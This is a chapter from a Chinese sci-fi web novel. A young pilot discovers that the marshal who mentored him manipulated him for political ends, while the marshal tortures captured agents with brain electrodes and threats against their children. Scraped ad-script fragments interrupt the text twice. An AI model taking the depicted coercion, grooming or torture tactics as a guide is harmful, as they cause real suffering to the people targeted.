当他们还在安全屋时,林诺一怒之下摔门而出,他就是能很轻易地跨越那些石阶,像是把自己舍弃在身后,是一件多么轻松惬意的事一样。 银发男人靠在刻印机上咳喘起来,血从绷带下丝丝溢出,是前所未有的狼狈模样。 但那双无机质的金属义眼,却像某种蛇类的眼般,缓缓抬起,盯住烟尘中熔化的手环。 他盯了很久。直到停机坪传来飞艇的震响,才想起看看被揉碎在掌心的信。 但刚刚抢救手环时,信纸的碎片也一并落入分解炉中,此刻早已变成纤维粒子了。 “长官,属下失职!我竟未能察觉当时登上飞艇的是他而不是您,请您按军令处置!” “稍后再议。”恺撒抬起义眼,“去把浴池旁的医疗箱,和我的军装一并取来。” “是!” 倚靠在飞艇座椅上时,恺撒打开医疗箱,检查麻醉剂的用量记录。 用量记录里,明明白白显示着“4mg,局部麻醉”。但再仔细翻检,箱子里的几管便携注射器,却不翼而飞。 他从不允许任何麻醉类药物进入自己的身体,即便做残留眼珠摘除手术时也一样。 然而唯一一次信任,就遭到了毫无怜悯的背叛。 恺撒的皮革手套,缓慢握紧箱子边角,左胸口的枪伤痛楚,时刻灼烧他激烈绷紧的神经。 暴烈的雨水击打飞艇舱窗,他因痛楚佝偻腰背,低头靠在自己手背上,紧紧咬着牙根,用极压抑的声音喃喃: “……你敢这样对我,林诺……只有你会这样做……” *** “他不会这样做的。” 林诺说。 他站在一处秘密地下工事里,面前是一面很大的光屏。 足有三百页的“暴风眼计划”,从筹谋阶段开始,终于滑到了最底部。 少年舔了舔自己干涸的唇肉。 南境风暴强度不亚于木星,他可以听见地下工事很远的上方,飞沙走石击打金属路面发出的可怕声响。 但房间非常安静。只有他自己急促、嘶哑,微微发哽的呼吸声,一遍遍在耳膜深处轰鸣。 “……他不会这样做的。” 林诺又重复一遍,身体不自觉往后退了小半步,似乎本能离那面光屏更远些。 他又舔了一下唇,舌根深处,莫名泛起一种腥意。 “我想,我比调查局的诸位更了解恺撒。他教我如何驾驶机甲,帮助我成为中央军校联赛有史以来第一位登顶的Beta,此后一直悉心关照我的生活学习。我还亲眼见证他如何无私帮助孤儿和战争难民。甚至在我9岁时,是他从星盗手中将我救下—— “的确,我们的……‘友情’,因为性格不合而破裂。可是,我不能因此诋毁他的一切。这是不公正的……” “小宝,我们并不属于调查局,而是星陨战役的许多年前就已经叛逃的特工。” 林成彬身边的一个人说,“从立场上来说,既然已经来到南境,我们就不会再干预联邦的内部斗争。联邦是最高议会还是恺撒·卡厄西斯掌权,与南境也没有关系。 “可他偏偏选了你。而当你的小叔发现他在跟你接触时,已经太晚了。林成彬尝试过把你带离联邦,也想为你办理退学手续,但木星环城是恺撒·卡厄西斯的地盘。他在你身边布下层层监视网,我们不敢过分冒进,只能不断寻找机会。林家虽然在南境颇有话语权,但跟掌握几大舰队的恺撒·卡厄西斯相比,正面对抗是非常困难的。” 头顶上方杂乱的撞击声更响了,形成嘈杂烦闷的鼓点。 而林诺站在房间中央,只觉得所有感官被拧成一根针尖,穿过头顶陈旧的白炽灯和厚重的封层,一路被往上拉拽,最终完全暴露在森寒的风暴中。 他耳边填满了粗砺的沙石撞击声,耳膜都在嗡嗡作疼,以至于对面的另一个人轻轻叫了他几次,他也没能回话。 直到小叔拼命摇着轮椅过来,一遍遍叫:“小宝,小宝。怎么了,又发病了吗?” 过载的感官一瞬抽回,落在被握住的手掌上。 林诺低下头,黑眸刚跟小叔的眼睛撞上,嗓音就突然哑了:“可是……他一直……我觉得……” 他发不出声音。 只有嘴唇开合翕动,好像还在徒劳地辩解着什么。 小叔忍住心痛,把他拉下来,还是像小时候一样抱住他的脑袋,用很乐观的语调说: “没事的小宝,反正你现在已经安全了,咱们不去想这个也行。九叔!先把那个光屏收起来吧。我带你去认识一下你爸妈的朋友。” 他一手拉着林诺的手,一手摇着轮椅,开始给林诺介绍“南境林家”的人们。 果真淡忘一桩冲击性真相的最佳方式,就是迎接另一桩冲击性真相。 所谓南境林家,起初只是指代一对三十年前从秘密调查局叛逃的同胞兄弟。 作为一个无政府无派系的孤立星球,南境曾经纷争重重、鱼龙混杂,甚至屡次沦为异星文明或星盗的火并场所。 林家兄弟联合所有逃到南境的同僚及同胞,逐步发展自己的势力,为所有逃难者提供庇护,最终成功划出一片秩序稳定的贸易区。 在林家的势力范围内,人们可以自由安全地居住和贸易,不受战火侵扰。倘若星盗和异星种族愿意遵循秩序,也一样能够享受贸易区的安宁。 与从前任何一代割据南境的大型帮派不同,南境林家行事风格极其低调,连带麾下所有部属都活得像隐形人。 外人并不知道这实际是前特工的职业习惯,只觉得神乎其神,于是南境林家的名声一直相当响亮,却从没人知道具体由哪几号人物组成。 而就像每一个宇宙帮派故事走到后期,这对同胞兄弟里的哥哥,跟南境一位优秀的机械师坠入了爱河。 “……但我真的没搞懂啊大哥,你生崽就生崽,非得跑回地球去生吗?虽然调查局应该换了十几批人了,但总归还是有那么一点点风险的吧?” “你以为我想回地球吗?户口啊老弟!太阳系三环的户口含金量,十四环都排不进去的南境能比吗?南境是看起来很繁荣,但你有没有观察过南境幼儿园、中小学的教育资源?有没有观察过这里10岁以下的小孩都在干什么?” “还真没有……” “就根本不行啊!我跑遍了全南境的幼儿园,人类的小孩要么在跟章鱼头幼教学习用嘴当吸盘,要么在跟量子生命体当同学上高能物理课(抽泣)难怪他们从小就逃学捡垃圾摆摊,长大了好跟父母一样从商。可我还是想让小宝的人生多一点选择,回到人类聚居地去,接受最好的教育,这样长大以后喜欢干什么就能干什么……别的不说至少多认识些同类的童年伙伴吧!至少别跟章鱼头搞早恋啊!别让我某天回家发现沙发上坐着一只羞答答的章鱼头一开口就管我叫岳父啊!” “是怎么从幼儿园联想到那么远的……” “当然主要是我老婆的娘家在地球,她说她想家了。我跟老婆一起走了,珍重,老弟……珍重……南境就交给你了。” “这才是唯一原因吧!” 林妈妈生产的那一天,产房外乌泱泱挤满了人,个个看上去凶神恶煞,却都伸着脖子使劲张望。 产房门一打开,林爸爸头一个冲进去,险些把抱着保育舱出来的护士撞个踉跄。 小小的保育舱只有猫一样大,透明的面部舱窗里,是一张皱巴巴的粉色脸蛋。 没等护士阻止,保育舱已经开始在人们手里击鼓传花。 “我当时也在场。” 陈九叔对林诺说,“小宝你出生时完全不哭,谁抱都是一张很酷的脸,而且被逗得不高兴,还会冲人比友好手势。嗳,你们都记得吧?” 旁边的人说:“记得记得,就是这样。” 林诺蹲在小叔的轮椅旁,听他们说爸爸妈妈从前的事,脸上的表情时而震撼惊愕,时而又隐隐流露出一丝笑意来。 在木星港口的管道间爬行时,他已经准备好面对亲人对他伪装了数十年的事实,但现实情况却没有他想象中那样残忍—— 父母年轻时的伙伴们齐聚一堂,喋喋不休讲述他们从前摸爬滚打的糗事,讲那些林诺从未经历的冒险故事。 时不时还有他不认识的叔叔阿姨过来摸他,嘴里感慨着“小宝都长这么大了,你小时候我还抱过你/帮你换过尿布/被你吐过口水/被你尿过鞋子呢”。 林诺:“不要再叫我小宝了。” 林诺出生时,林爸林妈都已经年近四十,因此他的记忆里,从来只有那对在工坊里如胶似漆的中年夫妇,从未想过他们也曾有跟自己年纪相仿的岁月。 等到南境的风暴停止,夜幕也开始降临,来看林诺的人们逐一收拾武装,前往南境各处戒备。 林诺依旧蹲在小叔的轮椅旁,对着身边乐呵呵的中年男人看了又看,还是觉得很不可思议。 他有限的人生里,大部分时间都在军校受训,其实应该在更早的时候,就觉察到诸多端倪。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 比如小叔偶尔暴露的持枪站姿,比如他生日时楼下聚集的明显受过训的人们,比如遭到白磷弓单袭击时,就连恺撒的士官都身负重伤,小叔却能在袭击中有效保全自己。 想到这里,他的黑眸蓦地一暗,沉默片刻,才低声问道:“小叔,你说你从前在秘密调查局服役,秘密调查局究竟是个怎样的地方?真如……有个人说的那样,是个非常残忍、黑暗、腐朽的组织吗?” 小叔一直握着他的手,听见他发问,思考了一会儿,才轻声回答道: “远超你的想象。你知道为什么大哥执着于让你像个普通孩子一样长大,甚至林家的人想来看你都会被赶走吗?因为在特工们看来,在联邦当一个一无所知的平民孩子,甚至比出身权贵的孩子还要安全。别的不说,至少他见证的那些秘密监禁、血腥谋杀和审讯,只有非常小的概率才会落到你身上。” “有个人告诉我,7年前的星陨战役是秘密调查局和联邦政府一同设计的阴谋。这是真的吗?” “我和大哥叛出调查局,已经是三十年前的事了。但陆续有叛逃的同僚带来情报,根据情报,再考虑到调查局一贯以来的行事作风,我认为可能性会在90%以上。” 这是林诺第二次下意识提到“有个人”。他像是自己也意识到什么,下颌线条一绷,低下头不再作声。 小叔什么也不问,大手拢了拢林诺的肩头:“小宝折腾了一天,也该累了。先去休息,过去的事……就过去了。” 林诺点点头。临走时,他又转身问: “有关爸爸妈妈,还有什么重要的事要告诉我吗?” 小叔的眼神动了一下。 他滚动着喉结,屡次张嘴又合上,最后只是拍拍他的后背,笑道: “以后再说吧。我们最近要观察一下联邦局势,如果局势非常糟糕,可能南境都没法待下去。你可要好好保存体力,一旦离开南境远航,我们可能真的全要靠小宝这个机甲天才保护了。” 林诺听了,又非常郑重地点头,转身去找自己的舱室了。 他躺在舱室里,合上眼睛入睡。经历一个惊心动魄的白天,他就像是强迫自己不得不为一般,把全部心神都放在“南境林家”这桩真相上,而有意去忽略另一桩。 可到了夜深人静时,那些声音、画面和文字,终于如同沉底后再度漂浮的沙石,自心底粗砺地涌上喉头。 “……为了最大程度获得选票,将不择手段争取Beta的支持,作为竞选计划的一环。Beta的数量为联邦总人口87%,实际控制着联邦各大基础设施……” “为什么你会这样想?” 银发男人微微蹙着眉,但望向少年时,唇角还是带着沉缓的微笑,“Beta在联邦的人口占比是87%,占据联邦各阶层所有关键岗位。我不明白为什么你会觉得Beta没有Alpha重要。” “……一个能够让Beta自愿跟随的精神领袖。确保与他之间的紧密联结,以便使他个人的影响力,辐射至恺撒·卡厄西斯……” 少年在夜色里飞奔。 风把他的黑色发丝扬得好高,露出那张神采飞扬的、快乐的脸。 “……将持续加深与目标的情感联系。以确保目标对恺撒·卡厄西斯集团的忠诚度、信任度,并在必要时作为恺撒·卡厄西斯的拥趸,推向政治舞台……” “……说出来,好孩子。你也不想跟我分开的……对不对?这样快乐的周末,以后也想再有……” 玻璃上组成问号的水珠,被风暴尽数卷走。他微微仰起头,紧张到发抖的唇瓣一翘即开,随后滑进来的,就是成年Alpha灵活湿热的舌头。 ……从一开始就是假的。 “……时机成熟时,打造一场足以席卷全球的政治风暴。煽动数以万计的Beta参与流血冲突……” “……截至今日零点,‘血色戒严’事件已造成90万余人伤亡,37万余人失踪。民众强烈怀疑秘密调查局非法拘留游行群众,并要求当局立即释放平民……” “背不下你写的稿子。很生气所以就咬了。” 男人反复摩挲着林诺带着牙印的指节。一双义眼低垂着,银发遮过他眉眼间的情绪。 牙印有点发淤,是无意识咬了很多遍造就的。 “我想保护别人的理想,也想为所有不能驾驶机甲的人而战。我觉得你肯定也能做到这些,而且比我做得更好。所以,我也想践行我的诺言……” ……他以为自己能够践行的一切,也是假的。 “……直至这个精神领袖死去,恺撒·卡厄西斯将作为他的引路人与继承者,推上首席执政官的宝座…… “诺神死了!那个在木星环城救过我们的英雄死了!” “——直到你们以一种最血腥、最惨无人道的方式,谋杀了一个19岁的孩子。一个勇敢、纯粹、坚韧的机甲英雄……” “……恺撒·卡厄西斯的普选票数已超越联邦成立以来历代首席执政官,即将突破400亿大关……” ……那么,所有都是假的。 “……林诺。我只是在昨天找到你时才发现……” 银发男人吻着林诺的手掌,薄唇从指尖一路移到手心。 “我绝不会接受失去你……” ……这句也是假的。 凌晨时分,银发男人披着睡袍,略显憔悴地查阅林诺的病情资料。 那时为了陪林诺治疗ptsd,他已经一个星期没再睡过三小时以上的觉。 ……这一幕也是假的。 他的起心动念,完全建立在虚假的政治图谋之上。 他的爱意,理想,憧憬,全部投向空幻的海市蜃楼。 当用以折射蜃景的光环消失,他发现他曾全情投入的所有,像滑稽的小丑雕塑,噼里啪啦,落在贫瘠的土地上。 银发少年一手扶着操纵杆,一手给腿上的小孩拍了拍背。 他的动作并不算敷衍,但双眼只牢牢盯着作为军功悬赏的星盗舰队,一丝目光也没有落向他。 “……好点了吗?” 曾经纯白的神像出现一丝龟裂。 随即以猝不及防的速度坍塌。 林成彬摇着轮椅,凌晨起来检阅地下基地。经过林诺的舱室时,他隐约听见门里传来一点声音。 他愣住了。 紧接着,他猛地把轮椅移到门前,使劲拍门:“小宝——小宝!” 舱门打开了。 林成彬伸出胳膊,把少年淌满泪水的脸,紧紧按进怀中。 68.第 68 章 林诺消沉几日,开始试着适应南境的生活。 他上回来南境,还是被恺撒带着来游玩。当时他就对南境的繁荣和种族多样化记忆颇深,但还从未想过,在南境这颗庞大星球的地表深处,竟埋藏着一座壮观的地下城。 地下城完全由打造母舰的尤铁构筑而成,由于是一边建设一边扩张的,完全没有整体规划,因此上方的运输带横七竖八,底部的聚居楼房错综复杂,任何人进入地下城,都会在第一时间迷路。 南境林家将地下城作为仓储基地和避难所,每当风暴或战争来临,地下城的巨门就会开启,给生活在林家领地内的居民提供庇护。 血色戒严的余温尚未冷却。参与过游行,又担心被调查局事后报复的联邦民众,开始大批大批往外逃亡。 富商和高官尚且拥有坚船利炮,甚至有规模不小的私人护卫部队,有能力进入太阳系外的蛮荒宙域,普通平民顶多只能逃亡到“人类文明的边境”——南境,就再也畏惧不前。 林成彬身上的烧伤还没养好,无力处理许多地下城的事务。而久居南境的林家盟友,在接回他们的“小宝”的第四天,就已经能看见黑发少年绷着酷脸,在地下城四处调派资源的模样了。 “行不行小宝?” 陈九叔趴在高台上,拉着一箱物资,一直不敢往下放,“再叫个人过来吧,我怕砸着你。” 林诺一条腿蹬在接近90°的巨型零件堆上,另一条腿屈膝抵着,增加摩擦。他朝上方张了张手,只说:“放吧。” 沉重无比的物资箱,一点点从高台放下来。 林诺调整姿势,把它安置在自己肩头。 他所在的位置,离地面还有六米多高,底下的人就见他压低重心,什么也没看清,就发现他已经一溜烟地下来了,落地还没有声音。 “……要不先给我们半包泡面呢小宝。” 几个饥肠辘辘的难民蹲在路边,看林诺扛着物资箱过去,馋得口水直流。 但看见少年冷着脸斜睨过来,几人砸吧砸吧嘴,还是老老实实去物资中心排队。 运送物资是地下城最艰苦和危险的工作,常常有人为了几块面包、几件衣服大打出手。 林诺被小叔领着参观地下城的第一天,就有人冲过来推翻小叔的轮椅,想要抢走他身上的羽绒服。 南境的地下城由南境林家统一管理,所有想进入避难暂居的人,都必须先在入口缴械。 因此尽管场面混乱,却幸运地没有演变成火并。 而如果单论拳脚,那就完全是林诺的统治区了。 “好了小宝!好了好了……” 陈九叔把骑在人家脖子上的林诺提起,算是解救了对方正在往天上飙血的鼻梁。 林诺站起来,抬腿跨过地上横七竖八的十几个人,并把脸蛋的污血狠狠擦在肩上,左右都擦出两道横纹。 一回来发现小叔正扶着轮椅咳嗽,身上的烧伤又摔破了,气得他一攥拳头,返身跃起,把一个刚爬起来的又骑翻在地。 “哎!算了算了!” 而那原本是一支金盆洗手的宇宙雇佣兵队伍。林诺初来乍到,一战成名,以骑翻十六名成年雇佣兵的实绩,成功被南境林家全票推举为物资运输官。 他时常在地下城穿梭游走,脖子上始终戴着易容装置。 在恺撒亲口宣布他“已死”的当下,让“林诺”这个身份就这样死在联邦,竟成了不得已的最安全选择。 但跟他打过交道的人还是能把他认出来。像之前被干翻的大胡子雇佣兵,一看见少年挺拔的背影和走路姿势,就笑着招呼他过去: “哦?小宝运输官又来发东西了?来来,今天刚换到两根好烟,特地给你留了一条。” 林诺烟酒不沾,也不屑跟手下败将讲话,脑袋一拧,很傲气地走掉。 他在南境栖身,也跟小叔他们一样,时刻关注联邦的局势变化。 恺撒·卡厄西斯是有史以来第一个既为联邦公敌、又是首席执政官候选人的公民,支持他的、支持林诺的、支持旧政府的打成一片,不管是地球还是四大星环城,都不断有流血伤亡事件发生。 林诺还记得陈九叔说恺撒一旦控制调查局,就会立刻置他于死地的事情,隐隐约约感到困惑和不安。 那份让他不想再看第2遍的“暴风眼”计划,最终停在让“Beta目标死在公众视野中”的节点。 但既然现在他还活着,一个顶替他身份的人却在游行中“死去”了,而恺撒一边告诉他对方被送进了医院、是星网报道出了乌龙,一边又在白堡审判中大肆哀悼“林诺”的死亡,林诺不由推测,那应该也是恺撒团队策划的一出戏。 或许是一名受训的士官成了他的替身,演完假死戏码后又成功脱身了。 “所以九叔才会说恺撒……卡厄西斯想杀我,对吗?” 林诺低声问小叔,想试着验证自己的推测, “因为他公开坐实了‘我’的死亡,并借此成功煽动所有人。如果被民众发现我还活着,那无异于在打他和他的团队的脸。” 少年蹲在灰扑扑的地上,黑眸认真地仰起来,鼻梁上还有搬运物资时蹭到的灰。 小叔看着这双眼睛,缓慢攥紧轮椅把手,说了句:“……不仅如此。” “不仅如此?” 林诺蹙起眉,那股隐约的不安感,再度卷土重来。他又问了一次:“小叔,你是不是还有什么重要的事没有告诉我?” 小叔闭了闭眼,刚要开口:“小宝,你9岁的那年……” 帐篷外突然进来一个人,说:“小宝运输官,8区有个精神病人吵着说你给的物资不对,九叔他们都去处理了。你看现在要是有空,也去一趟比较好。” 林诺立刻站起身:“我马上去。” 他把全息装置戴回,跟着对方前往8区。8区是高龄难民的聚居地,暂居的都是年逾六十的避难老人。 人群中吵闹不休,还时而伴有歇斯底里的尖叫。 林诺侧身挤进去,看见一个抱着骨灰罐的七旬妇人,正躺在脏兮兮的泥地里疯言乱语。 “我对这位奶奶有印象。” 林诺告诉负责地下城秩序的林家小队,稍一思忖,回忆起来,“我今天给她发了三盒压缩肉、三支营养剂和一套冬季被褥,是8区的日常份例。” 有人进入老人的帐篷,清点一会儿,很快又出来: “午餐肉、营养剂和被褥都在,数量也没错。” 陈九叔一个头比两个大,俯身蹲在老人的身边,非常无奈地问她: “所以您还缺什么呢?运输官人就在这,检查过东西也没少,您还想要什么呢?” 老妇人坐起来,对着地下城的金属天穹呆望片刻,突然抡圆胳膊,将怀中的骨灰罐砸在林诺脚边: “——他——根本——没有——把他给我!!” 事发突然,陈九叔来不及回护林诺,林诺也被惊了一跳。 他往后退了一小步,才低头去看骨灰罐碎片。 发现罐里也没有骨灰,而是许多被揉成纸团的信。 “他根本没有把他给我!!” 那边已经有几个林家人把老妇人制住,但她挣扎着、踢打着,哀嚎的声音几乎响彻整个地下城, “他连他最后的……我的孩子……我的亚历山大!!!都没有还给我!!” “没事吧,小宝?”陈九叔伸手挡着林诺,又跟他解释,“南境什么样的难民都有,这种明显是受刺激过度,得了精神病了。回去你小叔那吧,我们会处理的。” 林诺点点头。 他见隔壁帐篷门口刚好有塑料袋废品,就取了一个干净的,默默弯腰捡那些信和碎片,打算放回老妇人帐篷里去。 但捡着捡着,他的指尖僵住了。 一张明显被胡乱捅刺过的纸团,缓缓在地上展开。 ——那上面,有他自己的字迹。 “……‘上次你让我推荐一些机甲教学资料,我个人比较喜欢安德烈?伊凡诺维奇或者叶凌峰老师的,前者相对晦涩,但硬啃下来绝对获益良多,后者对入门机甲师很友好……’” “……‘听说IDT300型核能机甲重攻重防,没有逃生舱,是给敢死队用的……我也很期待有一天能驾驶它试试。’” “……‘是的,我非常信任他。因为他无私地帮助我实现理想,并在学业上提供巨大的帮助……’” 林诺在校时训练繁重,但他依然可以记得几位常常给他写信的小粉丝。 当目光落在最后一个纸团上时,一个名字已经在脑中呼之欲出:亚历山大·瑞安。 或许是他的神情暴露出某种端倪,老妇人浑浊的眼珠朝他一转,突然爆发出前所未有的力气,挣开林家人,猛地朝他扑过来! “……就是你!!就是你带走了他!是你说要他帮你,是你害死了他!!他替你死了!!林诺!!是他替你死了!!!!恺撒·卡厄西斯带走了他,他就替你死了!!!!” 林诺没有防备,竟被她一下推倒在泥地上,掌根重重按上骨灰罐的碎片。 有那么一小会儿,他都没听懂对方嘶叫的内容。 明明每个字都知道是什么,组合在一起,却怎么也听不明白。 但紧接着,他的脸就挨了很重的一耳光—— 领口里的易容装置都被带飞出去,摔在隔壁帐篷的废品堆里。 “把她拉走!!” 陈九叔厉喝。 看见林诺的易容装置掉了出去,他猛地脱下外套,把他的脑袋整个包了个严实,同时低声命令四周: “疏散人群,多叫几个人来。” 然而尽管只是一刹那,老妇已经看见了他的脸。 她瞪大了眼,几近目眦欲裂,但理智却似乎在那一刹奇迹般回归。 “……你有这么多人保护你,‘诺神’……包括你让他笃信的恺撒·卡厄西斯……但我的孩子又做错过什么?我的孩子只是个普通的Beta孩子,没有天赋、没有位高权重的保护者,你去当英雄,他就替你死!!什么‘诺神’,杂种、人渣、卑鄙无耻!!——啊!” 压在身上的重量消失,应该是林家人强行将她架走了。 林诺坐在脏污的泥地上,头顶罩着陈九叔的外套。 初见“暴风雨”计划时,喉头冒出的腥甜感,又一次卷土重来。 “小宝,先给我看看手。” 陈九叔驱散人群,把他的两只手掌从碎片上抓起来。 林诺两只掌根全破了,创口很深,血汩汩顺着手腕流下来。 陈九叔回头低吼:“——医疗箱!” ……又一桩谎言。 无穷无尽、漫无止境的谎言。 他甚至不知道,这是否就是他要面对的最后一桩。 明明他已经离木星环城这么远。可他总觉得,自从逃离庄园、冲进黑压压的云霄。 那场黑色风暴,便再也没有停歇的一刻。 *** “秘密调查局的斯特林局长,被发现在安全屋自杀身亡。调查局总部目前被第四舰队地面部队完全控制……元帅?元帅。” 参谋出声提醒。 而坐在长桌首席的银发男人,这时才轻微动了一下金属眼珠,指节支撑下颌的姿势未动:“继续说。我在听。” “针对调查局特工的秘密审讯和抓捕,也已经正式开启。” 另一位参谋说,他目光不由越过长桌,很小心地碰了碰门边一个眼熟的人——如果他没记错,那应该是恺撒的副官。 他像个囚犯似的被警卫队押着,虽然没有戴镣铐,但神情非常灰败。 而恺撒一直带着他,不管是议事、审讯,还是据说秘密搜捕一个从庄园逃走的人。 从副官干涸的嘴唇和憔悴的脸色,能猜出他这几日大概滴水未进。 “根据您的命令,审讯以查出当年对冥炎进行过不正当干预的特工为优先目标。”参谋继续说,“我们相信马上就会有答案。根据部分口供,可以暂且划定范围。调查局为了掩人耳目,似乎更倾向于把这种脏活留给叛逃的特工做。任务完成后,处死也会相对便捷。” “我不妄想他们会留活口。”恺撒说,他这些天始终略显游离的眼神,终于在谈及冥炎时开始聚焦,“这其实并不重要。我们当年失去了多少人,杜兰德?” 杜兰德:“第一舰队机甲特种部队,共有18支现役部队进入战场,每队人数超过5000。星陨战役后,包括队长在内的已知幸存者,共计43人。” “你看。”恺撒朝那名参谋摊了摊手,“我们是军人,我们信奉的从不是德尔斐圣子,而是血债血偿。秘密调查局的现役特工全部加起来,也只够用来填6支机甲部队的债。最高议会的议员和全部家眷加起来,大概够填10支左右。那么剩下的一万人,以及我的精神力和眼睛,总得有对应的人数为此负责。执行特工或许已被处死,但我们依然可以从他的社会关系里找答案。” 参谋低头应声:“我们会忠实执行您的命令,元帅。” 恺撒确定了首席执政官的交接程序,便倾身站起,朝门口走去。 目光扫过灰头土脸的副官,他的左胸口依旧掠过幻觉似的痛楚。 为了后续的内战,他分明已经忍着不耐躺进过治疗舱,把枪伤完全治疗好了。 计票系统已经停止,就算是最坚决的政府派也明白,首席执政官已成他的囊中之物。 但灵魂深处的暴郁感翻滚不休。 恺撒坐上悬浮车,刚要命令驾驶员开车,又皱了一下眉——他发现当工作结束后,他并没有地方可去。 “去塔伊那亚大楼。” 恺撒神色如常,说了一个地名。 悬浮车便平稳启动,开往这座位于边郊的秘密监狱。 他在地球和各个星环城都有自己的审讯场所,塔伊那亚大楼就是其中之一。 当踏进大楼地下森冷的通道,他踩到了一个软软的东西——那是一只没有指甲的手。 恺撒抬起军靴,随意一踢,将它踢到墙边去。 湿黏的血腥气猛冲进鼻腔,正如他数年来频繁出入这里时一样。 可在无人的角落,依然幻觉般飘出一缕干净的皂香。 本已经被感官适应的血腥气, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 突如其来变得腥臭不堪,几近让人作呕。他沉下义眼,胸口暴郁更甚。 “长官好。”审讯官依次朝他行礼,“我们已经找出了一批可能的计划亲历者。您的机甲被植入精神力熔毁程序时,很有可能是在2939年,只是直到星陨战役时期才被启动。当时冥炎因资产分配问题,被强令停驻在地球港口机甲库。或许这让调查局的改造工作变得更加简单。” 2939年,恺撒略回想了一下。 他当年18岁,才刚入伍两年,除了一场捣毁星盗集团的快速战役,似乎没参与过什么特别出挑的战争。 然而即便这样,享有军校联赛全胜冠军的名气,秘密调查局还是早早盯上了他。 他弓腰走进低矮的囚室,看了看刑架上惨不忍睹的躯体,又随手翻了翻对方的档案。 少顷,恺撒突然用一种很温和的语气,说道: “我的副官也有一个这样大的女儿。他以前说过,他宁可去切两百根异星触手,也不敢面对小女儿的青春期。真有那么可怕吗?我还从没养育过孩子,异星触手就是我见过最可怕的东西了。” 架上的人大张着嘴战栗,剩下的躯体都在发颤,什么话也说不了。 有十几根特殊电极,直接跟那人的大脑相连,这是审讯室新开发出的一种创意手段——电极会反复刺激大脑的特定区域,让对方产生毕生最痛苦的幻觉。 “都看到什么了?” 恺撒走近他,用戴着皮革手套的手,轻轻扶正他的脸,“告诉我吧。为什么一直在哭?你可是受过审讯训练的。嘘……不哭了。区区几个噩梦而已。梦和现实是相反的,不要怕。” 审讯官在旁恭敬地观察着。就见银发男人返身拿了那人的光脑,翻看一会儿,囚室里亮起一个视讯光屏。 光屏里的女孩抱着小狗,非常生气地朝他说:“爸爸!你到底什么时候回家!” “啊……啊……” 刑架上的人挪动着肢体,几乎被泪水泡瞎的双眼,一下子亮起来。恺撒微笑着看他,像是也在由衷为他高兴。 但随着那句“爸爸!你到底什么时候回家”循环播放,那人的神色逐渐从快乐转为惊恐。 那并不是实时视讯。而是一段过去的视频。 而最可怕的是,他听见从一墙之隔的囚室里,传出了跟视频中一模一样的声音,但非常凄厉,已经不似人声。 “给我一个名字,扎因特工。” 恺撒说,“你参与谋杀了近百万我的同僚和部下,将他们埋葬在亲人永远不能前往吊唁的异星,这会儿却又紧咬一个名字不松口。是想赎罪吗?但你的良心若能来得更合时宜些就好了。” 隔壁传来的惨叫声愈发微弱。恺撒又凑近些,让对方看清自己的金属义眼,低沉道: “我在战场上生挖出了我的眼珠,才能换上如今这双方便的眼睛。我知道在星网上,同款义眼一直非常流行。或许你的女儿也会很喜欢的。” 他转过身,作势要去往隔壁囚室。 就听身后的人喊了一个字:“林……” 恺撒回过身来。他知道鱼要吐钩了,便拉过一把椅子,挂上大衣,好整以暇地坐着等候。 但受刑者的表情却很古怪。 他用泡肿的眼睛注视恺撒,既像是一种仇恨般的快意,又像是一种居高临下的怜悯。 “林成宇。”受刑者说,“去吧,把他的家眷全都翻个底朝天,然后一个个钉在刑柱上,脑子通上电,全都电个屁滚尿流!你会高兴坏的!哈哈哈哈哈!去呀!去电疯他吧!你就知道自己是卡厄西斯小丑、卑贱的白毛杂种了!” 恺撒没动怒,只是稍稍偏了下头,让审讯官去调档案。 他隐隐觉得这个名字有些熟悉,不是一种听过全名的熟悉,而是似乎听过同字辈的取名。 但审讯官回来时,是跟几个参谋一块回来的。 参谋们刚从别的审讯室赶来,脸上都有种惴惴不安的神色,一个人甚至先拦了一下档案,对恺撒道: “不会这么巧合的,很可能是他们事先串通好的陷阱。您的警卫队已经先一步去取证,一切都要等证据到位。” 恺撒目光掠过对方拦档案的手,参谋便立刻惊惧地向后缩手,低头肃立。 他接过档案,目光大致扫过林成宇的档案,知道这是30年前叛逃南境的特工,于11年前在地球被抓获。 妻子则是一名极其卓越的机械师,符合能够把精神力熔毁系统植入机甲的嫌疑人画像。 档案继续往下翻,露出家庭关系,恺撒的眼珠,在一个名字上猛地停住了。 同胞弟弟的名字:林成彬。 他并没有继续往下滑,而是堪堪停在同辈亲属一行上。旁边的参谋还在急切地说: “这种巧合是根本没有道理的。‘暴风眼’计划是5年前制定的,林诺入学则是在7年前。阻止他进入机甲系的顾问来自以太集团,报名联赛是他自己的决定,选择他作为目标Beta,则是您的偶然决定……” 参谋的嘴巴在快速开合,但在恺撒看来,对方像按了静音键似的,一直没发出什么声音。 有很多名词和句子,在大脑中毫无章法地乱窜,最终将脑海涂鸦成漆黑乱麻。林成彬,中央军校,以太集团,感官超载,训练场偶遇…… 他在受刑者看笑话的目光里,从容地站起身,甚至还给了对方一个和缓的微笑。 然后,他先去隔壁囚室,“砰砰砰”地开了三枪,让尖叫声戛然而止,又回到这间囚室,取自己搭在椅子上的大衣。 “……杀了我!!杀了我!!!恺撒·卡厄西斯!!!” 恺撒把受刑者的嚎啕声抛在身后,跟警卫队通讯:“我要更多除口供以外的证据。视频记录,虹膜记录,调查局的密令记录。杜兰德,如果你在审阅那些证据以后,认为我会做出同样决断,那就不要犹豫。来找我报告时,直接把副官带来。” 他平生第一次,几乎完全把决策权交到别人手里,而自己则坐在宙斯要塞的狭窄卧舱,静静等候着。 卧舱没有开灯,书桌和木椅的漆面上,还有一点类似蜡烛灼烧的痕迹——他上回在这里给一个人庆祝19岁生日,庆祝到最后光顾着压枪袋了,所以蜡烛都没吹,直接把木质面烫了个洞。 就这样在黑暗里坐了近十个小时,办公层的门发出一声嗡鸣,向两侧滑开。 恺撒起身,因为坐得太久,略微感到有些头晕。他走出卧舱,迎向身披重甲的警卫队。 他们的身形非常高大,因此,当他们沉默让开以前,恺撒甚至都没看见被押来的副官。 副官缓缓朝他跪下了。 他举着双手,挡在自己的面门前,用一种几乎微弱如蚊呐的声音,发着抖地说:“我有……三个孩子……” 恺撒打开枪套,取出爆能枪,上膛。 在此期间,副官一直在艰难翕动唇瓣,两手举在枪口和自己之间,反复喃喃着同一句话: “……长官,我事先并不知道……我有三个孩子……长官,求求您……” 